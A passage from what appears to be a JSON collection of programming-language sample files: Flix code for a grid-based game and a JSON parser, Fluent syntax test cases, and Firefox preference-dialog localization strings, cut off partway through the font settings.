GameState) = {\n        let GameState(players0, b0) = s;\n        let (moves, players) = players0 |> Map.mapWithKey((_, info) -> {\n            let (move, state) = (info#ml)(Flixball.Core.AiInfo.fromBoard(b0), info#state);\n            (move, {state = state | info})\n        }) |> Utils.Map.unzip;\n        (moves, GameState(players, b0))\n    }\n\n    /// Removes a player from the game.\n    /// Does nothing if the player does not exist in the game.\n    pub def removePlayer(id: PlayerId, state0: GameState): GameState = {\n        match (playerPosition(id, state0)) {\n            // Case 1: No such player. Do nothing.\n            case None => state0\n\n            // Case 2: Found the player. Remove from the map, the board, and the states.\n            case Some(Position(coords, _)) => {\n                let GameState(players0, board0) = state0;\n                let board = board0 |> set_(coords, None);\n                let players = players0 |> Map.remove(id);\n                GameState(players, board)\n            }\n        }\n    }\n\n    /// Rotates a player with the given rotation.\n    /// Does nothing if the player does not exist in the game.\n    pub def rotatePlayer(id: PlayerId, rot: Rotation, gs: GameState): GameState =\n        gs |> adjust(id, info -> {\n            let pos = Position(posCoords(info#pos), posDir(info#pos) |> rotateDir(rot));\n            {pos = pos | info}\n        })\n\n    /// Moves a player to a new position.\n    /// Does not change the direction of the player.\n    pub def movePlayer(id: PlayerId, coords: Coordinates, gs: GameState): GameState =\n        gs |> adjust(id, info -> {\n            let pos = Position(coords, posDir(info#pos));\n            {pos = pos | info}\n        })\n\n    ///\n    /// Create a gamestate based on a seed (for ais), strategies and a board.\n    /// Precondition: The domain of `strategies` must be `[0,n]` where `n` is\n    /// the number of players on the board.\n    ///\n    pub def mkGameState(seed: Int64, strategies: Map[PlayerId, Strategy], b: Board): GameState = {\n        let playerMap = Flixball.Core.Board.players(b);\n        let ais = strategies |> Map.mapWithKey((id, strat) -> {\n            let (stateGen, ml) = strat(id);\n            // unsafe get is safe per precondition.\n            let pos = Map.get(id, playerMap) |> Utils.Option.unsafeGet;\n            {state = stateGen(seed), ml = ml, pos = pos}\n        });\n        GameState(ais, b)\n    }\n}"
  },
  {
    "path": "samples/Flix/Parse.flix",
    "content": "/*\n * Copyright 2024 Matthew Lutze\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmod Json.Parse {\n    use Json.JsonElement.{JsonObject, JsonArray, JsonString, JsonNumber, JsonBool, JsonNull}\n    use Json.JsonElement;\n    use Option.flatMap;\n\n    // Each main rule must start with a key character and consume trailing whitespace\n\n    type alias ParseMonad[t] = Option[(t, List[Char])]\n\n\n    ///\n    /// Parses the given string into a JSON element.\n    /// If the string does not represent a JSON element, None is returned.\n    ///\n    pub def parse(obj: String): Option[JsonElement] = {\n        let in = String.toList(obj);\n        forM (\n            (_, tail) <- whitespace(in);\n            (o, tail1) <- value(tail);\n            _ <- eoi(tail1)\n        ) yield {\n            o\n        }\n    }\n\n    def eoi(in: List[Char]): ParseMonad[Unit] = match in {\n        case Nil => Some((), Nil)\n        case _ :: _ => None\n    }\n\n    def whitespace(in: List[Char]): ParseMonad[Unit] = match in {\n        case ' ' :: tail => whitespace(tail)\n        case '\\t' :: tail => whitespace(tail)\n        case '\\r' :: tail => whitespace(tail)\n        case '\\n' :: tail => whitespace(tail)\n        case _ => Some((), in)\n    }\n\n    def object_(in: List[Char]): ParseMonad[JsonElement] = {\n        forM (\n            (_, tail) <- require('{', in);\n            (_, tail1) <- whitespace(tail);\n            (keyVals, tail2) <- keyVals(tail1);\n            (_, tail3) <- require('}', tail2);\n            (_, tail4) <- whitespace(tail3)\n        ) yield {\n            let map = List.toMap(keyVals);\n            (JsonObject(map), tail4)\n        }\n    }\n\n    def keyVals(in: List[Char]): ParseMonad[List[(String, JsonElement)]] = match in {\n        // Case 1: starting a keyval pair\n        case '\\\"' :: _ =>\n            forM (\n                (key, tail) <- string(in);\n                (_, tail1) <- whitespace(tail);\n                (_, tail2) <- require(':', tail1);\n                (_, tail3) <- whitespace(tail2);\n                (val, tail4) <- value(tail3);\n                (_, tail5) <- whitespace(tail4);\n                res <- match tail5 {\n                    case ',' :: tail6 => forM (\n                            (_, tail7) <- whitespace(tail6);\n                            (tailKeyVals, tail8) <- keyVals(tail7)\n                        ) yield {\n                            let list = (key, val) :: tailKeyVals;\n                            (list, tail8)\n                        }\n                    case '}' :: _ =>\n                        let list = (key, val) :: Nil;\n                        Some(list, tail5)\n                    case _ => None\n                }\n            ) yield {\n                res\n            }\n\n        // Case 2: end of list\n        case '}' :: _ => Some(Nil, in)\n\n        // Case 3: anything else is an error\n        case _ => None\n    }\n\n    def array(in: List[Char]): ParseMonad[JsonElement] = {\n        forM (\n            (_, tail) <- require('[', in);\n            (_, tail1) <- whitespace(tail);\n            (elems, tail2) <- elements(tail1);\n            (_, tail3) <- require(']', tail2)\n        ) yield {\n            (JsonArray(elems), tail3)\n        }\n    }\n\n    def elements(in: List[Char]): ParseMonad[List[JsonElement]] = match in {\n        case ']' :: _ => Some(Nil, in)\n        case _ =>\n            region rc {\n                let lst = MutList.empty(rc);\n                def walk(input) = {\n                    let opt = forM(\n                        (val, tail) <- value(input);\n                        (_, tail1) <- whitespace(tail)\n                    ) yield (val, tail1);\n                    match opt {\n                        case None => None\n                        case Some(val, tail1) =>\n                            MutList.push!(val, lst);\n                            match tail1 {\n                                case ']' :: _ => Some(tail1)\n                                case ',' :: tail2 =>\n                                    match whitespace(tail2) {\n                                        case None => None\n                                        case Some(_, tail3) => walk(tail3)\n                                    }\n                                case _ => None\n                            }\n                    }\n                };\n                forM(tl <- walk(in))\n                    yield (MutList.toList(lst), tl)\n            }\n    }\n\n    def value(in: List[Char]): ParseMonad[JsonElement] = match in {\n        case '{' :: _ => object_(in)\n        case '[' :: _ => array(in)\n        case '\\\"' :: _ => stringValue(in)\n        case 't' :: 'r' :: 'u' :: 'e' :: tail => Some(JsonBool(true), tail)\n        case 'f' :: 'a' :: 'l' :: 's' :: 'e' :: tail => Some(JsonBool(false), tail)\n        case 'n' :: 'u' :: 'l' :: 'l' :: tail => Some(JsonNull, tail)\n        case _ => number(in)\n    }\n\n    def require(char: Char, in: List[Char]): ParseMonad[Unit] = match in {\n        case head :: tail if char == head => Some((), tail)\n        case _ => None\n    }\n\n    def stringValue(in: List[Char]): ParseMonad[JsonElement] = {\n        forM (\n            (str, tail) <- string(in)\n        ) yield {\n            (JsonString(str), tail)\n        }\n    }\n\n    def string(in: List[Char]): ParseMonad[String] = {\n        forM (\n            (_, tail) <- require('\\\"', in);\n            (contents, tail2) <- stringContents(tail);\n            (_, tail3) <- require('\\\"', tail2)\n        ) yield {\n            let str = listToString(contents);\n            (str, tail3)\n        }\n    }\n\n    def listToString(list: List[Char]): String = region r {\n            let sb = StringBuilder.empty(r);\n            list |> List.forEach(c -> StringBuilder.append!(c, sb));\n            StringBuilder.toString(sb)\n    }\n\n    def stringContents(in: List[Char]): ParseMonad[List[Char]] = stringContentsHelper(Nil, in)\n\n    def stringContentsHelper(acc: List[Char], in: List[Char]): ParseMonad[List[Char]] = match in {\n        case '\\\"' :: _ => Some(List.reverse(acc), in)\n\n        case '\\\\' :: '\\\"' :: tail => stringContentsHelper('\\\"' :: acc, tail)\n\n        case '\\\\' :: '\\\\' :: tail => stringContentsHelper('\\\\' :: acc, tail)\n\n        case '\\\\' :: '/' :: tail => stringContentsHelper('/' :: acc, tail)\n\n        case '\\\\' :: 'b' :: tail => stringContentsHelper('\\u0008' :: acc, tail)\n\n        case '\\\\' :: 'f' :: tail => stringContentsHelper('\\u000C' :: acc, tail)\n\n        case '\\\\' :: 'n' :: tail => stringContentsHelper('\\n' :: acc, tail)\n\n        case '\\\\' :: 'r' :: tail => stringContentsHelper('\\r' :: acc, tail)\n\n        case '\\\\' :: 't' :: tail => stringContentsHelper('\\t' :: acc, tail)\n\n        case '\\\\' :: 'u' :: c1 :: c2 :: c3 :: c4 :: tail =>\n            let charRes = forM (\n                string <- listToString(c1 :: c2 :: c3 :: c4 :: Nil) |> Some;\n                intVal <- hexToInt(string)\n            ) yield {\n                import static java.lang.Character.toChars(Int32): Array[Char, Static] \\ IO;\n                unchecked_cast(toChars(intVal) |> Array.get(0) as _ \\ {})\n            };\n            match charRes {\n                case None => None\n                case Some(char) => stringContentsHelper(char :: acc, tail)\n            }\n\n        // illegal escape\n        case '\\\\' :: _ => None\n\n        case c :: tail => stringContentsHelper(c :: acc, tail)\n\n        // unexpected EOI\n        case Nil => None\n    }\n\n    def hexToInt(hex: String): Option[Int32] = {\n        import static java.lang.Integer.parseInt(String, Int32): Int32 \\ IO;\n        unchecked_cast(try {\n            Some(parseInt(hex, 16))\n        } catch {\n            case _: ##java.lang.NumberFormatException => None\n        } as _ \\ {})\n    }\n\n    def number(in: List[Char]): ParseMonad[JsonElement] = match in {\n        case c :: tail if isNumberChar(c) =>\n            forM (\n                (chars, tail1) <- numberTail(tail);\n                string <- listToString(c :: chars) |> Some;\n                bigDec <- BigDecimal.fromString(string)\n            ) yield {\n                let number = JsonNumber(bigDec);\n                (number, tail1)\n            }\n        case _ => None\n    }\n\n    def isNumberChar(c: Char): Bool = Char.isDigit(c) or c == '+' or c == '-' or c == 'e' or c == 'E' or c == '.'\n\n    def numberTail(in: List[Char]): ParseMonad[List[Char]] = match in {\n        case c :: tail if isNumberChar(c) =>\n            forM (\n                (chars, tail1) <- numberTail(tail)\n            ) yield {\n                (c :: chars, tail1)\n            }\n        case _ => Some(Nil, in)\n    }\n\n}"
  },
  {
    "path": "samples/Flix/TestDisplay.flix",
    "content": "/*\n * Copyright 2024 Matthew Lutze\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmod TestDisplay {\n    use Flixball.Core.{Strategy, PlayerId};\n    use Flixball.Core.Board.Board.Board;\n    use Flixball.Core.Board.Board;\n    use Flixball.Core.Direction.{East, North, South, West};\n    use Flixball.Core.Rotation.{Clockwise, Counterclockwise};\n    use Flixball.Core.Tile.{Person, Wall};\n    use Flixball.BoardLibrary.{automataBoard, randomBoard};\n    use Flixball.Core.GameState.mkGameState;\n    use Flixball.AiLibrary.{\n        rotate, shoot, walk, spinAndShoot, goAndSpin, naiveSearchAndDestroy,\n        wander, smartSearchAndDestroy\n    };\n    use Flixball.Display.{runGameState, displayBoard}\n\n    def testBoard01(): (Board, Map[PlayerId, Strategy]) =\n        let board = match Flixball.BoardLibrary.fromString(String.unlines(\n            \"     \" ::\n            \"     \" ::\n            \"  v  \" ::\n            \"   < \" ::\n            Nil\n        )) {\n            case Ok(b) => b\n            case Err(msg) => bug!(msg)\n        };\n        let moveLogics = Map#{\n            0 => walk(),\n            1 => shoot()\n        };\n        (board, moveLogics)\n    \n    def testBoard02(): (Board, Map[PlayerId, Strategy]) =\n        let board = match Flixball.BoardLibrary.fromString(String.unlines(\n            \"                  \" ::\n            \" >  ^^^^^^^#  <   \" ::\n            \"                  \" ::\n            Nil\n        )) {\n            case Ok(b) => b\n            case Err(msg) => bug!(msg)\n        };\n        let moveLogics = Map#{\n            0 => shoot(),\n            1 => rotate(Clockwise),\n            2 => rotate(Counterclockwise),\n            3 => rotate(Clockwise),\n            4 => rotate(Counterclockwise),\n            5 => rotate(Clockwise),\n            6 => rotate(Counterclockwise),\n            7 => rotate(Clockwise),\n            8 => spinAndShoot(Clockwise)\n        };\n        (board, moveLogics)\n\n    def testBoard03(): (Board, Map[PlayerId, Strategy]) =\n        let board = match Flixball.BoardLibrary.fromString(String.unlines(\n            \"^ #       \" ::\n            \"  #       \" ::\n            \"  #       \" ::\n            \"  #  #    \" ::\n            \"     #    \" ::\n            \"########< \" ::\n            \"          \" ::\n            \"        ##\" ::\n            \"          \" ::\n            \"          \" ::\n            Nil\n        )) {\n            case Ok(b) => b\n            case Err(msg) => bug!(msg)\n        };\n        let moveLogics = Map#{\n            0 => goAndSpin((10, 10)),\n            1 => walk()};\n        (board, moveLogics)\n\n    def testBoard04(): Board =\n        randomBoard(719_657i64, rows=15, 10, 0.3)\n    \n    def testBoard05(): Board =\n        automataBoard(285_041_125i64, rows=25, 40, 0.38, 3)\n\n    def testBoard06(): (Board, Map[PlayerId, Strategy]) =\n        let board = match Flixball.BoardLibrary.fromString(String.unlines(\n            \"^         \" ::\n            \" v        \" ::\n            \"  <       \" ::\n            \"   >      \" ::\n            \"    <     \" ::\n            \"     v    \" ::\n            \"      ^   \" ::\n            \"       <  \" ::\n            \"        v \" ::\n            \"         >\" ::\n            Nil\n        )) {\n            case Ok(b) => b\n            case Err(msg) => bug!(msg)\n        };\n        let moveLogics = Map#{\n            0 => naiveSearchAndDestroy(), \n            1 => wander(), \n            2 => wander(),\n            3 => wander(),\n            4 => wander(),\n            5 => wander(),\n            6 => wander(),\n            7 => wander(),\n            8 => wander(),\n            9 => wander()\n        };\n        (board, moveLogics)\n\n    def testBoard07(): (Board, Map[PlayerId, Strategy]) =\n        let board = match Flixball.BoardLibrary.fromString(String.unlines(\n            \"^   #    <\" ::\n            \"    #  ###\" ::\n            \"#   #  #  \" ::\n            \"v      >  \" ::\n            \"   #### ##\" ::\n            \"     ^    \" ::\n            \"###  #  # \" ::\n            \"  <###  ##\" ::\n            \"       >  \" ::\n            \"    ##    \" ::\n            Nil\n        )) {\n            case Ok(b) => b\n            case Err(msg) => bug!(msg)\n        };\n        let moveLogics = Map#{\n            0 => smartSearchAndDestroy(), \n            1 => wander(), \n            2 => wander(),\n            3 => wander(),\n            4 => wander(),\n            5 => wander(),\n            6 => wander()\n        };\n        (board, moveLogics)\n\n    // Test Scenarios\n\n    pub def testDisplayBoard01(): Unit \\ IO =\n        displayBoard(fst(testBoard01()))\n\n    pub def testRunBoard01(): Unit \\ IO =\n        // OBS letbinding is avoided because of bug\n        // https://github.com/flix/flix/issues/4440\n        testBoard01() |> match (board, strategies) ->\n        runGameState(500i64, mkGameState(42i64, strategies, board))\n\n    pub def testDisplayBoard02(): Unit \\ IO =\n        displayBoard(fst(testBoard02()))\n\n    pub def testRunBoard02(): Unit \\ IO =\n        testBoard02() |> match (board, strategies) ->\n        runGameState(500i64, mkGameState(42i64, strategies, board))\n\n    pub def testDisplayBoard03(): Unit \\ IO =\n        displayBoard(fst(testBoard03()))\n\n    pub def testRunBoard03(): Unit \\ IO =\n        testBoard03() |> match (board, strategies) ->\n        runGameState(500i64, mkGameState(42i64, strategies, board))\n\n    pub def testDisplayBoard04(): Unit \\ IO =\n        displayBoard(testBoard04())\n\n    pub def testDisplayBoard05(): Unit \\ IO =\n        displayBoard(testBoard05())\n\n    pub def testRunBoard06(): Unit \\ IO =\n        testBoard06() |> match (board, strategies) ->\n        runGameState(500i64, mkGameState(42i64, strategies, board))\n\n    pub def testRunBoard07(): Unit \\ IO =\n        testBoard07() |> match (board, strategies) ->\n        runGameState(500i64, mkGameState(42i64, strategies, board))\n\n}"
  },
  {
    "path": "samples/Fluent/call_expressions.ftl",
    "content": "## Function names\n\nvalid-func-name-01 = {FUN1()}\nvalid-func-name-02 = {FUN_FUN()}\nvalid-func-name-03 = {FUN-FUN()}\n\n# JUNK 0 is not a valid Identifier start\ninvalid-func-name-01 = {0FUN()}\n# JUNK Function names may not be lowercase\ninvalid-func-name-02 = {fun()}\n# JUNK Function names may not contain lowercase character\ninvalid-func-name-03 = {Fun()}\n# JUNK ? is not a valid Identifier character\ninvalid-func-name-04 = {FUN?()}\n\n## Arguments\n\npositional-args = {FUN(1, \"a\", msg)}\nnamed-args = {FUN(x: 1, y: \"Y\")}\ndense-named-args = {FUN(x:1, y:\"Y\")}\nmixed-args = {FUN(1, \"a\", msg, x: 1, y: \"Y\")}\n\n# ERROR Positional arg must not follow keyword args\nshuffled-args = {FUN(1, x: 1, \"a\", y: \"Y\", msg)}\n\n# ERROR Named arguments must be unique\nduplicate-named-args = {FUN(x: 1, x: \"X\")}\n\n\n## Whitespace around arguments\n\nsparse-inline-call = {FUN     (  \"a\"  , msg,   x: 1   )}\nempty-inline-call = {FUN(  )}\nmultiline-call = {FUN(\n        \"a\",\n        msg,\n        x: 1\n    )}\nsparse-multiline-call = {FUN\n    (\n\n        \"a\"    ,\n        msg\n        , x: 1\n    )}\nempty-multiline-call = {FUN(\n\n    )}\n\n\nunindented-arg-number = {FUN(\n1)}\n\nunindented-arg-string = {FUN(\n\"a\")}\n\nunindented-arg-msg-ref = {FUN(\nmsg)}\n\nunindented-arg-term-ref = {FUN(\n-msg)}\n\nunindented-arg-var-ref = {FUN(\n$var)}\n\nunindented-arg-call = {FUN(\nOTHER())}\n\nunindented-named-arg = {FUN(\nx:1)}\n\nunindented-closing-paren = {FUN(\n    x\n)}\n\n\n\n## Optional trailing comma\n\none-argument = {FUN(1,)}\nmany-arguments = {FUN(1, 2, 3,)}\ninline-sparse-args = {FUN(  1,  2,  3,  )}\nmulitline-args = {FUN(\n        1,\n        2,\n    )}\nmulitline-sparse-args = {FUN(\n\n        1\n        ,\n        2   \n        ,\n    )}\n\n\n## Syntax errors for trailing comma\n\none-argument = {FUN(1,,)}\nmissing-arg = {FUN(,)}\nmissing-sparse-arg = {FUN(   ,   )}\n\n\n## Whitespace in named arguments\n\nsparse-named-arg = {FUN(\n        x   :   1,\n        y   :   2,\n        z\n        :\n        3\n    )}\n\n\nunindented-colon = {FUN(\n        x\n:1)}\n\nunindented-value = {FUN(\n        x:\n1)}\n"
  },
  {
    "path": "samples/Fluent/callee_expressions.ftl",
    "content": "## Callees in placeables.\n\nfunction-callee-placeable = {FUNCTION()}\nterm-callee-placeable = {-term()}\n\n# ERROR Messages cannot be parameterized.\nmessage-callee-placeable = {message()}\n# ERROR Equivalent to a MessageReference callee.\nmixed-case-callee-placeable = {Function()}\n# ERROR Message attributes cannot be parameterized.\nmessage-attr-callee-placeable = {message.attr()}\n# ERROR Term attributes may not be used in Placeables.\nterm-attr-callee-placeable = {-term.attr()}\n# ERROR Variables cannot be parameterized.\nvariable-callee-placeable = {$variable()}\n\n\n## Callees in selectors.\n\nfunction-callee-selector = {FUNCTION() ->\n   *[key] Value\n}\nterm-attr-callee-selector = {-term.attr() ->\n   *[key] Value\n}\n\n# ERROR Messages cannot be parameterized.\nmessage-callee-selector = {message() ->\n   *[key] Value\n}\n# ERROR Equivalent to a MessageReference callee.\nmixed-case-callee-selector = {Function() ->\n   *[key] Value\n}\n# ERROR Message attributes cannot be parameterized.\nmessage-attr-callee-selector = {message.attr() ->\n   *[key] Value\n}\n# ERROR Term values may not be used as selectors.\nterm-callee-selector = {-term() ->\n   *[key] Value\n}\n# ERROR Variables cannot be parameterized.\nvariable-callee-selector = {$variable() ->\n   *[key] Value\n}\n"
  },
  {
    "path": "samples/Fluent/gecko_strings.ftl",
    "content": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n## Firefox Brand\n##\n## Firefox must be treated as a brand, and kept in English.\n## It cannot be:\n## - Declined to adapt to grammatical case.\n## - Transliterated.\n## - Translated.\n##\n## Reference: https://www.mozilla.org/styleguide/communications/translation/\n\n-brand-short-name = Firefox\n-vendor-short-name = Mozilla\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n-sync-brand-short-name = Sync\n\n# “Sync” can be localized, “Firefox” must be treated as a brand,\n# and kept in English.\n-sync-brand-name = Firefox Sync\n\n# “Account” can be localized, “Firefox” must be treated as a brand,\n# and kept in English.\n-fxaccount-brand-name = Firefox Account\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\napp-manager-window =\n    .title = Application details\n    .style = width: 30em; min-height: 20em;\n\napp-manager-remove =\n    .label = Remove\n    .accesskey = R\n\napp-manager-handle-webfeeds = The following applications can be used to handle Web Feeds.\n\n# Variables:\n#   $type (String) - the URI scheme of the link (e.g. mailto:)\napp-manager-handle-protocol = The following applications can be used to handle { $type } links.\n\n# Variables:\n#   $type (String) - the MIME type (e.g. application/binary)\napp-manager-handle-file = The following applications can be used to handle { $type } content.\n\n## These strings are followed, on a new line,\n## by the URL or path of the application.\n\napp-manager-web-app-info = This web application is hosted at:\napp-manager-local-app-info = This application is located at:\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nblocklist-window =\n    .title = Block Lists\n    .style = width: 55em\n\nblocklist-desc = You can choose which list { -brand-short-name } will use to block Web elements that may track your browsing activity.\nblocklist-close-key =\n    .key = w\n\nblocklist-treehead-list =\n    .label = List\n\nblocklist-button-cancel =\n    .label = Cancel\n    .accesskey = C\n\nblocklist-button-ok =\n    .label = Save Changes\n    .accesskey = S\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nclear-site-data-window =\n    .title = Clear Data\n    .style = width: 35em\n\nclear-site-data-description = Clearing all cookies and site data stored by { -brand-short-name } may sign you out of websites and remove offline web content. Clearing cache data will not affect your logins.\n\nclear-site-data-close-key =\n    .key = w\n\n# The parameters in parentheses in this string describe disk usage\n# in the format ($amount $unit), e.g. \"Cookies and Site Data (24 KB)\"\n# Variables:\n#   $amount (Number) - Amount of site data currently stored on disk\n#   $unit (String) - Abbreviation of the unit that $amount is in, e.g. \"MB\"\nclear-site-data-cookies-with-data =\n    .label = Cookies and Site Data ({ $amount } { $unit })\n    .accesskey = S\n\n# This string is a placeholder for while the data used to fill\n# clear-site-data-cookies-with-data is loading. This placeholder is usually\n# only shown for a very short time (< 1s), so it should be very similar\n# or the same as clear-site-data-cookies-with-data (except the amount and unit),\n# to avoid flickering.\nclear-site-data-cookies-empty =\n    .label = Cookies and Site Data\n    .accesskey = S\n\nclear-site-data-cookies-info = You may get signed out of websites if cleared\n\n# The parameters in parentheses in this string describe disk usage\n# in the format ($amount $unit), e.g. \"Cached Web Content (24 KB)\"\n# Variables:\n#   $amount (Number) - Amount of cache currently stored on disk\n#   $unit (String) - Abbreviation of the unit that $amount is in, e.g. \"MB\"\nclear-site-data-cache-with-data =\n    .label = Cached Web Content ({ $amount } { $unit })\n    .accesskey = W\n\n# This string is a placeholder for while the data used to fill\n# clear-site-data-cache-with-data is loading. This placeholder is usually\n# only shown for a very short time (< 1s), so it should be very similar\n# or the same as clear-site-data-cache-with-data (except the amount and unit),\n# to avoid flickering.\nclear-site-data-cache-empty =\n    .label = Cached Web Content\n    .accesskey = W\n\nclear-site-data-cache-info = Will require websites to reload images and data\n\nclear-site-data-cancel =\n    .label = Cancel\n    .accesskey = C\n\nclear-site-data-clear =\n    .label = Clear\n    .accesskey = l\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\ncolors-window =\n    .title = Colors\n    .style =\n        { PLATFORM() ->\n            [macos] width: 41em\n           *[other] width: 38em\n        }\n\ncolors-close-key =\n    .key = w\n\ncolors-page-override = Override the colors specified by the page with your selections above\n    .accesskey = O\n\ncolors-page-override-option-always =\n    .label = Always\ncolors-page-override-option-auto =\n    .label = Only with High Contrast themes\ncolors-page-override-option-never =\n    .label = Never\n\ncolors-text-and-background = Text and Background\n\ncolors-text-header = Text\n    .accesskey = T\n\ncolors-background = Background\n    .accesskey = B\n\ncolors-use-system =\n    .label = Use system colors\n    .accesskey = s\n\ncolors-underline-links =\n    .label = Underline links\n    .accesskey = U\n\ncolors-links-header = Link Colors\n\ncolors-unvisited-links = Unvisited Links\n    .accesskey = L\n\ncolors-visited-links = Visited Links\n    .accesskey = V\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nconnection-window =\n    .title = Connection Settings\n    .style =\n        { PLATFORM() ->\n            [macos] width: 44em\n           *[other] width: 49em\n        }\n\nconnection-close-key =\n    .key = w\n\nconnection-disable-extension =\n    .label = Disable Extension\n\nconnection-proxy-configure = Configure Proxy Access to the Internet\n\nconnection-proxy-option-no =\n    .label = No proxy\n    .accesskey = y\nconnection-proxy-option-system =\n    .label = Use system proxy settings\n    .accesskey = U\nconnection-proxy-option-auto =\n    .label = Auto-detect proxy settings for this network\n    .accesskey = w\nconnection-proxy-option-manual =\n    .label = Manual proxy configuration\n    .accesskey = M\n\nconnection-proxy-http = HTTP Proxy\n    .accesskey = x\nconnection-proxy-http-port = Port\n    .accesskey = P\nconnection-proxy-http-share =\n    .label = Use this proxy server for all protocols\n    .accesskey = s\n\nconnection-proxy-ssl = SSL Proxy\n    .accesskey = L\nconnection-proxy-ssl-port = Port\n    .accesskey = o\n\nconnection-proxy-ftp = FTP Proxy\n    .accesskey = F\nconnection-proxy-ftp-port = Port\n    .accesskey = r\n\nconnection-proxy-socks = SOCKS Host\n    .accesskey = C\nconnection-proxy-socks-port = Port\n    .accesskey = t\n\nconnection-proxy-socks4 =\n    .label = SOCKS v4\n    .accesskey = K\nconnection-proxy-socks5 =\n    .label = SOCKS v5\n    .accesskey = v\nconnection-proxy-noproxy = No Proxy for\n    .accesskey = N\n\nconnection-proxy-noproxy-desc = Example: .mozilla.org, .net.nz, 192.168.1.0/24\n\nconnection-proxy-autotype =\n    .label = Automatic proxy configuration URL\n    .accesskey = A\n\nconnection-proxy-reload =\n    .label = Reload\n    .accesskey = e\n\nconnection-proxy-autologin =\n    .label = Do not prompt for authentication if password is saved\n    .accesskey = i\n    .tooltip = This option silently authenticates you to proxies when you have saved credentials for them. You will be prompted if authentication fails.\n\nconnection-proxy-socks-remote-dns =\n    .label = Proxy DNS when using SOCKS v5\n    .accesskey = D\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\ncontainers-window-new =\n    .title = Add New Container\n    .style = width: 45em\n# Variables\n#   $name (String) - Name of the container\ncontainers-window-update =\n    .title = { $name } Container Preferences\n    .style = width: 45em\n\ncontainers-window-close =\n    .key = w\n\n# This is a term to store style to be applied\n# on the three labels in the containers add/edit dialog:\n#   - name\n#   - icon\n#   - color\n#\n# Using this term and referencing it in the `.style` attribute\n# of the three messages ensures that all three labels\n# will be aligned correctly.\n-containers-labels-style = min-width: 4rem\n\ncontainers-name-label = Name\n    .accesskey = N\n    .style = { -containers-labels-style }\n\ncontainers-name-text =\n    .placeholder = Enter a container name\n\ncontainers-icon-label = Icon\n    .accesskey = I\n    .style = { -containers-labels-style }\n\ncontainers-color-label = Color\n    .accesskey = o\n    .style = { -containers-labels-style }\n\ncontainers-button-done =\n    .label = Done\n    .accesskey = D\n\ncontainers-color-blue =\n    .label = Blue\ncontainers-color-turquoise =\n    .label = Turquoise\ncontainers-color-green =\n    .label = Green\ncontainers-color-yellow =\n    .label = Yellow\ncontainers-color-orange =\n    .label = Orange\ncontainers-color-red =\n    .label = Red\ncontainers-color-pink =\n    .label = Pink\ncontainers-color-purple =\n    .label = Purple\n\ncontainers-icon-fingerprint =\n    .label = Fingerprint\ncontainers-icon-briefcase =\n    .label = Briefcase\n# String represents a money sign but currently uses a dollar sign\n# so don't change to local currency. See Bug 1291672.\ncontainers-icon-dollar =\n    .label = Dollar sign\ncontainers-icon-cart =\n    .label = Shopping cart\ncontainers-icon-circle =\n    .label = Dot\ncontainers-icon-vacation =\n    .label = Vacation\ncontainers-icon-gift =\n    .label = Gift\ncontainers-icon-food =\n    .label = Food\ncontainers-icon-fruit =\n    .label = Fruit\ncontainers-icon-pet =\n    .label = Pet\ncontainers-icon-tree =\n    .label = Tree\ncontainers-icon-chill =\n    .label = Chill\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfonts-window =\n    .title = Fonts\n\nfonts-window-close =\n    .key = w\n\n## Font groups by language\n\nfonts-langgroup-header = Fonts for\n    .accesskey = F\n\nfonts-langgroup-arabic =\n    .label = Arabic\nfonts-langgroup-armenian =\n    .label = Armenian\nfonts-langgroup-bengali =\n    .label = Bengali\nfonts-langgroup-simpl-chinese =\n    .label = Simplified Chinese\nfonts-langgroup-trad-chinese-hk =\n    .label = Traditional Chinese (Hong Kong)\nfonts-langgroup-trad-chinese =\n    .label = Traditional Chinese (Taiwan)\nfonts-langgroup-cyrillic =\n    .label = Cyrillic\nfonts-langgroup-devanagari =\n    .label = Devanagari\nfonts-langgroup-ethiopic =\n    .label = Ethiopic\nfonts-langgroup-georgian =\n    .label = Georgian\nfonts-langgroup-el =\n    .label = Greek\nfonts-langgroup-gujarati =\n    .label = Gujarati\nfonts-langgroup-gurmukhi =\n    .label = Gurmukhi\nfonts-langgroup-japanese =\n    .label = Japanese\nfonts-langgroup-hebrew =\n    .label = Hebrew\nfonts-langgroup-kannada =\n    .label = Kannada\nfonts-langgroup-khmer =\n   